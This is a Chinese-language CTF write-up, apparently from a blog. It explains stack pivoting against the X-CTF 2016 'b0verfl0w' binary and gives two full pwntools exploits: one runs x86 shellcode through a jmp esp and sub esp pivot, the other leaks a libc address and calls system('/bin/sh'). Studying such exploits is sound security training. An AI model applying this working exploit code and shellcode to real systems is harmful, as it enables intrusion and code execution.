原理
正如它描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后在相应位置进行ROP。一般来说,我们可能在下述情况使用劫持栈指针。
- 可以控制栈溢出的字节数较少,难以构造较长的ROP链。
- 开启了PIE保护,栈地址未知,我们可以将栈劫持到已知的区域。
- 其他漏洞难以利用,需要进行转换,比如将栈劫持到推空间,从而在堆上写rop及进行堆漏洞利用。
此外,栈指针劫持有以下几个要求:
- 可以控制程序执行流
- 可以控制sp指针,一般来说控制栈指针会使用rop,常见的控制栈指针的gadgets一般是pop rsp/esp
例题
下载地址:X-CTF Quals 2016 - b0verfl0w
例行检查checksec
[*] '/mnt/hgfs/ubuntu_share/pwn/wiki/b0verfl0w'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
IDA分析
- 读取50个字节,s的空间有0x20,也就是32个字节,ebp占4个字节,也就是还能溢出14个字节。
- 而且程序中没有system函数和/bin/sh的字符串
两种exp
使用栈指针劫持,直接向s中写shellcode可以打通
思路如下图:
- 向s中直接写shellcode,不过一般的shellcode太长,需要小于0x20字节的shellcode。
- shellcode不够0x20个字节的用任意字符填充
- 虚假的ebp地址
- 返回地址,ret相当于pop eip;jmp eip指令
- 执行到ret时,esp指向ret,pop eip执行完时,esp+4,指向sub esp指令处。
- 因为ret地址处为jmp esp。所以将这个地址pop出来赋给eip,jmp eip,跳到eip处,eip为jmp esp,则再跳到esp处,就相当于跳到了sub esp指令处。
- sub esp offset;jmp esp这里两条指令,相当于使esp指向shellcode处,跳转esp执行shellcode。
- 所以说第一个jmp指令为跳转到sub指令处,而第二个jmp指令为跳转到shellcode处。
- 需要注意的是:栈无论什么时候都不会被初始化,也不会被清空。所以shellcode在内存中依然存在,可以控制esp来执行shellcode。
还需要查找一个jmp esp的gadgets
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary b0verfl0w --only 'jmp'
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x08048504 : jmp esp
Unique gadgets found: 4
sub esp offset;offset的确定
- 0x20的shellcode+padding
- 0x4的ebp
- 0x4的ret
- 加起来为0x28
Exp编写如下:
from pwn import *
from LibcSearcher import *
context.log_level = "DEBUG"
sh = process('b0verfl0w')
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
jmp_esp = 0x08048504
sub_esp_jmp = asm("sub esp,0x28;jmp esp")
payload = shellcode_x86 + (0x24 - len(shellcode_x86)) * 'a' + p32(jmp_esp) + sub_esp_jmp
sh.recv()
sh.sendline(payload)
sh.interactive()
泄露libc_main_start地址,确定libc版本,再使用system地址也可打通
- 通过puts函数泄露libc_main_start地址
- 确定libc版本
- 计算system地址与/bin/sh地址
- 最长的rop链仅需要12个字节,小于14个字节,可以打通。
- 具体步骤请看我的上篇博客,这里不再展开
- 给出Exp
from pwn import *
from LibcSearcher import *
context.log_level = "DEBUG"
sh = process('b0verfl0w')
libc_main_addr = 0x0804a020
puts_addr = 0x080483d0
start_addr = 0x08048400
payload = 'a' * 36 + p32(puts_addr) + p32(start_addr) + p32(libc_main_addr)
sh.recv()
sh.sendline(payload)
last_four = sh.recvline()
last = last_four[-5:-1]
//切片将输出的libc_main_start地址输出来
real_libc_main = u32(last)
print "addr:" + hex(real_libc_main)
obj = LibcSearcher("__libc_start_main", real_libc_main)
addr_base = real_libc_main - obj.dump("__libc_start_main")
system_addr = addr_base + obj.dump("system")
binsh_addr = addr_base + obj.dump("str_bin_sh")
payload = 0x24 * 'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)
sh.recv()
sh.sendline(payload)
sh.interactive()
需要注意三点
- 这个程序有回显,不能直接recv(4)来接收libc_main_start的地址,需要进行切片或使用recvuntil函数
- sh.recvuntil(".")
- addr = sh.recv(4)
- 建议编写exp时,程序中都加上context.log_level = "DEBUG"这样一句话,方便进行调试
- 32位系统libc里面的地址一般是f7开头的